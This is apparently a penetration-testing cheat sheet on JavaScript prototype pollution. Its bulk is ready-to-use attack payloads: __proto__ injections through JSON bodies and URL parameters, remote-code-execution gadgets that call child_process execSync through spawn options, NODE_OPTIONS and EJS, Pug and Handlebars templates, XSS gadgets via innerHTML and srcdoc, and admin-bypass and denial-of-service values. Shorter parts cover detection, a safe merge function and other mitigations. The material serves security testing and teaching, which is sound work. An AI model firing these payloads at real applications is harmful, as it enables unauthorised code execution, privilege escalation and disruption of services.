- Overview
- Server-Side Prototype Pollution
- Client-Side Prototype Pollution
- Detection
- Exploitation
- Gadgets
Prototype Pollution is a JavaScript vulnerability that allows attackers to modify the prototype of base objects (like Object.prototype), affecting all objects in the application.
Impact:
- Remote Code Execution (RCE)
- Cross-Site Scripting (XSS)
- Denial of Service (DoS)
- Authentication Bypass
# Quick prototype pollution test
curl -X POST http://$rhost/api -H 'Content-Type: application/json' -d '{"__proto__":{"admin":true}}' && curl http://$rhost/api/adminVulnerable merge function
// Vulnerable code
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}Exploit payload
{
"__proto__": {
"isAdmin": true
}
}| Library | Function |
|---|---|
| lodash | _.merge(), _.mergeWith(), _.set() |
| jQuery | $.extend(true, {}, obj) |
| Hoek | merge() |
| deeps | extend() |
POST request with pollution
POST /api/user HTTP/1.1
Content-Type: application/json
{
"username": "test",
"__proto__": {
"admin": true
}
}Alternative keys
{"constructor": {"prototype": {"admin": true}}}Via URL parameters
https://target.com/?__proto__[admin]=true
https://target.com/?__proto__.admin=true
https://target.com/#__proto__[admin]=true
Via URL fragment
https://target.com/#constructor.prototype.admin=true
Via $.extend
let malicious = JSON.parse('{"__proto__": {"xss": "<img src=x onerror=alert(1)>"}}');
$.extend(true, {}, malicious);- URL query parameters
- URL hash fragments
postMessagedata- Web storage (localStorage/sessionStorage)
- JSON responses
Test payloads for JSON body
{"__proto__": {"polluted": true}}
{"constructor": {"prototype": {"polluted": true}}}Check if pollution worked
// In browser console or Node.js
console.log({}.polluted); // Should be true if vulnerable?__proto__[test]=polluted
?__proto__.test=polluted
?constructor[prototype][test]=polluted
// Check for existing pollution
function checkPollution() {
const obj = {};
if (obj.polluted) {
console.log("Object.prototype is polluted!");
console.log("Polluted properties:", Object.keys(Object.prototype));
}
}
// Test pollution
function testPollution(payload) {
try {
const parsed = JSON.parse(payload);
Object.assign({}, parsed);
return {}.testProp !== undefined;
} catch (e) {
return false;
}
}Node.js status check endpoint
// Add to Express app for testing
app.get('/debug/proto', (req, res) => {
const obj = {};
res.json({
polluted: Object.keys(Object.prototype).length > 0,
properties: Object.keys(Object.prototype)
});
});Exploiting child_process.spawn
{
"__proto__": {
"shell": "/proc/self/exe",
"argv0": "console.log(require('child_process').execSync('id').toString())//"
}
}Via NODE_OPTIONS
{
"__proto__": {
"NODE_OPTIONS": "--require /proc/self/fd/0"
}
}{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
}
}{
"__proto__": {
"block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('id')"
}
}
}{
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": "process.mainModule.require('child_process').execSync('id')",
"params": [],
"hash": null
}]
}
}innerHTML gadget
?__proto__[innerHTML]=<img src=x onerror=alert(1)>
srcdoc gadget
?__proto__[srcdoc]=<script>alert(1)</script>
data-* attributes
?__proto__[data-bind]=<img src=x onerror=alert(1)>
isAdmin property
{"__proto__": {"isAdmin": true}}
{"__proto__": {"admin": true}}
{"__proto__": {"role": "admin"}}Bypass authentication checks
{"__proto__": {"authenticated": true}}
{"__proto__": {"verified": true}}toString override
{
"__proto__": {
"toString": "crash"
}
}Length manipulation
{
"__proto__": {
"length": 9999999999
}
}// Basic pollution
{"__proto__": {"polluted": true}}
// Constructor path
{"constructor": {"prototype": {"polluted": true}}}
// Nested pollution
{"a": {"__proto__": {"polluted": true}}}
// Array pollution
[{"__proto__": {"polluted": true}}]# Query string
?__proto__[polluted]=true
?__proto__.polluted=true
?constructor[prototype][polluted]=true
# Hash fragment
#__proto__[polluted]=true
#__proto__.polluted=true
{
"__proto__": {
"__proto__": {
"polluted": true
}
}
}// Safe merge that ignores __proto__
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = safeMerge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}// Create object without prototype
const safeObj = Object.create(null);// Freeze Object.prototype
Object.freeze(Object.prototype);| Tool | Description |
|---|---|
| PPScan | Server-side prototype pollution scanner |
| DOM Invader | Burp Suite extension for DOM-based pollution |
| ppfuzz | Prototype pollution fuzzer |
- Install DOM Invader extension
- Enable prototype pollution detection
- Browse application
- Check for pollution indicators
| Context | Payload |
|---|---|
| JSON Body | {"__proto__": {"test": true}} |
| URL Param | ?__proto__[test]=true |
| URL Hash | #__proto__[test]=true |
| Template | Property |
|---|---|
| EJS | outputFunctionName |
| Pug | block.type |
| Handlebars | type, body |
| Goal | Payload |
|---|---|
| Admin access | {"__proto__": {"isAdmin": true}} |
| Auth bypass | {"__proto__": {"authenticated": true}} |
| Role escalation | {"__proto__": {"role": "admin"}} |
- Cross-Site Scripting (XSS) - Client-side prototype pollution to XSS
- SSTI - Server-side template injection
- Command Injection - RCE through prototype pollution gadgets